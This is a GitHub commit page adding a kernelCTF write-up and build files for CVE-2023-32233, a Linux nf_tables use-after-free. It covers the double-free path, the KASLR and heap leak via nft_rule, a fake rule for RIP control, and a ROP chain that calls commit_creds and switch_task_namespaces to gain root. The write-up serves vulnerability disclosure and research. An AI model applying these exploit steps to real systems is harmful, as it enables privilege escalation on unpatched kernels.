Skip to content

Commit

Permalink
Add kernelCTF CVE-2023-32233 mitigation (#54)
Browse files Browse the repository at this point in the history
* Add kernelCTF CVE-2023-32233 mitigation

* Update Makefile

---------

Co-authored-by: Mingi Cho <[email protected]>
  • Loading branch information
mingi and Mingi Cho authored Dec 1, 2023
1 parent b21b138 commit 6b1c2b0
Show file tree
Hide file tree
Showing 7 changed files with 1,850 additions and 0 deletions.
210 changes: 210 additions & 0 deletions pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,210 @@
# Attacking Objects

- **Information leak/KASLR bypass**: nft_chain + nft_rule/nft_expr [dyn-kmalloc-256]
- **RIP control**: nft_rule/nft_expr (RIP hijacked via expr->deactivate()) [dyn-kmalloc-256]

# Overview

This exploit is written based on https://www.openwall.com/lists/oss-security/2023/05/15/5. The exploit strategy is different from the original code.

# Triggering Vulnerability

The vulnerability is caused by access to an anonymous nft_set that is being deleted.

```c
void nf_tables_deactivate_set(const struct nft_ctx *ctx, struct nft_set *set,
struct nft_set_binding *binding,
enum nft_trans_phase phase)
{
switch (phase) {
case NFT_TRANS_PREPARE: // [1]
set->use--;
return;
case NFT_TRANS_ABORT:
case NFT_TRANS_RELEASE:
set->use--;
fallthrough;
default:
nf_tables_unbind_set(ctx, set, binding,
phase == NFT_TRANS_COMMIT);
}
}
EXPORT_SYMBOL_GPL(nf_tables_deactivate_set);

void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
{
if (list_empty(&set->bindings) && nft_set_is_anonymous(set))
nft_set_destroy(ctx, set);
}
EXPORT_SYMBOL_GPL(nf_tables_destroy_set);
```
Because the `nf_tables_deactivate_set` function does not change the set to the inactive state when an anonymous set is deleted, it can be accessed after the set is destroyed by the `nf_tables_destroy_set` function [1].
To trigger the vulnerability, create an anonymous nft_set is and a rule with a lookup expr referencing it. The UAF is then triggered by deleting the rule and then deleting the set or adding/deleting set elements of the set. Note that `nf_tables_deactivate_set` is called while deleting the rule with lookup expr.
# From UAF to double free
```c
static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
{
int i;
if (WARN_ON(set->use > 0))
return;
for (i = 0; i < set->num_exprs; i++)
nft_expr_destroy(ctx, set->exprs[i]);
set->ops->destroy(set);
nft_set_catchall_destroy(ctx, set);
kfree(set->name); // [2]
kvfree(set);
}
```

When the nft_lookup expr is destroyed, the `nft_set_destroy` function is called and free `set->name`[2]. When the set is destroyed again, the `nft_set_destroy` function is called one more time on this nft_set, resulting in a double free. In between the two calls to `nft_set_destroy`, I create another target nft_set to make this nft_set free. At this time, I make the length of the set's name in between 193-256 to place it to dyn-kmalloc-256.

```c
struct nft_chain {
struct nft_rule_blob __rcu *blob_gen_0;
struct nft_rule_blob __rcu *blob_gen_1;
struct list_head rules;
struct list_head list;
struct rhlist_head rhlhead;
struct nft_table *table;
u64 handle;
u32 use;
u8 flags:5,
bound:1,
genmask:2;
char *name;
u16 udlen;
u8 *udata; // [3]

/* Only used during control plane commit phase: */
struct nft_rule_blob *blob_next;
};
```

Then, I utilized the udata field [3] of the nft_chain structure for information leak and RIP control. To do this, the udata of nft_chain is allocated in dyn-kmalloc-256 and overlaps with set->name of the target set.

```c
static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,
u8 policy, u32 flags,
struct netlink_ext_ack *extack)
...

if (nla[NFTA_CHAIN_USERDATA]) {
chain->udata = nla_memdup(nla[NFTA_CHAIN_USERDATA], GFP_KERNEL_ACCOUNT); // [4]
if (chain->udata == NULL) {
err = -ENOMEM;
goto err_destroy_chain;
}
chain->udlen = nla_len(nla[NFTA_CHAIN_USERDATA]);
}
```
The udata of nft_chain is input from the user in the `nf_tables_addchain` function [4].
# KASLR Bypass and Information Leak
To bypass KASLR, I used the `struct nft_rule`. The nft_rule contains `struct nft_expr` [5], which stores the address of the `struct nft_expr_ops` [6]. Since address of `nft_expr_ops` is a kernel address, we can bypass KASLR by read it. We can also get the heap address by reading the list in the struct nft_rule. This address will be used later to create fake ops and store the ROP payload. In this exploit, I used `nft_counter_ops`.
```c
struct nft_rule {
struct list_head list;
u64 handle:42,
genmask:2,
dlen:12,
udata:1;
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr)))); // [5]
};
```

```c
struct nft_expr {
const struct nft_expr_ops *ops; // [6]
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
```

# RIP Control

Create a fake rule to control the RIP. Since `expr->ops->deactivate` is called in the `nft_rule_expr_deactivate` function when deleting a rule [7], we can control the RIP by modifying with the address of the ops.

```c
static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
struct nft_rule *rule,
enum nft_trans_phase phase)
{
struct nft_expr *expr;

expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {
if (expr->ops->deactivate)
expr->ops->deactivate(ctx, expr, phase); // [7]

expr = nft_expr_next(expr);
}
}
```
To do this, we free the rule we sprayed for the leak and spray a fake rule with chain->udata at this location.
```c
struct fake_nft_rule * payload = (struct fake_nft_rule *) data;
payload->dlen = 8;
payload->genmask = 0;
payload->handle = 0xffff;
payload->list.prev = (void*) 0;
payload->list.next = (void*) 0;
*((uint64_t*)data + (sizeof(struct fake_nft_rule) / sizeof(uint64_t*))) = heap_addr; // expr->ops
```

I sprayed a fake rule with `dlen` greater than `0` and `handle` `0xffff`. And when I delete the rule with handle `0xffff`, the RIP is controlled.

# Post-RIP

I make the following ROP payload to get the shell. For simplicity, I utilized the Telefork technique suggested by Kyle (https://blog.kylebot.net/2022/10/16/CVE-2022-1786/).

```c
void make_payload_rop(uint64_t* data){
int i = 0;

data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = 0;

data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = 0;

data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate()

// find_task_by_vpid(1)
data[i++] = kbase + POP_RDI_RET;
data[i++] = 1;
data[i++] = kbase + FIND_TASK_BY_VPID;

// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
data[i++] = kbase + MOV_RDI_RAX_RET;
data[i++] = kbase + POP_RSI_RET;
data[i++] = kbase + INIT_NSPROXY;
data[i++] = kbase + SWITCH_TASK_NAMESPACES;

// commit_creds(&init_cred)
data[i++] = kbase + POP_RDI_RET;
data[i++] = kbase + INIT_CRED;
data[i++] = kbase + COMMIT_CREDS;

data[i++] = kbase + VFORK;
data[i++] = kbase + DELAY;
}
```
However, when using the `fork` system call, a lot of double fault exceptions occurred, so we used `vfork`. Since `vfork` also causes a double fault exception, it is better to use the `iret` gadget to return to the userspace to increase the reliability of the exploit.
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
# Novel Techniques

## Powerful Universal Obejct: `struct nft_rule`

`struct nft_rule` is a very powerful primitive that can be used to do KASLR bypass, leak heap address, RIP control, and data spraying. We can get the kernel base address by reading the ops structure of expr stored in `nft_rule`. We can also read the list of `nft_rule` and the heap address stored in nft_expr and utilize it in an attack. Finally, the ops address of the expr can be manipulated to perform RIP control. Additionally, the userdata field of the `nft_rule` can be used for data spraying.

```c
struct nft_rule {
struct list_head list;
u64 handle:42,
genmask:2,
dlen:12,
udata:1;
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr))));
};

struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
- Requirements:
- Capabilities: CAP_NET_ADMIN
- Kernel configuration: CONFIG_NETFILTER, CONFIG_NF_TABLES
- User namespaces required: Yes
- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=20a69341f2d00cd042e81c82289fba8a13c05a25 (netfilter: nf_tables: add netlink set API)
- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c1592a89942e9678f7d9c8030efa777c0d57edab (netfilter: nf_tables: deactivate anonymous set from preparation phase)
- Affected Version: v3.13-rc1 - v6.4-rc6
- Affected Component: net/netfilter
- Cause: Use-After-Free
- Syscall to disable: disallow unprivileged username space
- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-32233
- Description: In the Linux kernel through 6.3.1, a use-after-free in Netfilter nf_tables when processing batch requests can be abused to perform arbitrary read and write operations on kernel memory. Unprivileged local users can obtain root privileges. This occurs because anonymous sets are mishandled.
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
LIBMNL_DIR = $(realpath ./)/libmnl_build
LIBNFTNL_DIR = $(realpath ./)/libnftnl_build

exploit:
gcc -o exploit exploit.c -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl -I$(LIBNFTNL_DIR)/install/include -I$(LIBMNL_DIR)/install/include -static

prerequisites: libmnl-build libnftnl-build

libmnl-build : libmnl-download
tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2
cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install`
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install

libnftnl-build : libmnl-build libnftnl-download
tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install`
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install

libmnl-download :
mkdir $(LIBMNL_DIR)
wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2

libnftnl-download :
mkdir $(LIBNFTNL_DIR)
wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz

run:
./exploit

clean:
rm -rf $(LIBMNL_DIR)
rm -rf $(LIBNFTNL_DIR)
rm -f exploit
Binary file not shown.
Loading

0 comments on commit 6b1c2b0

Please sign in to comment.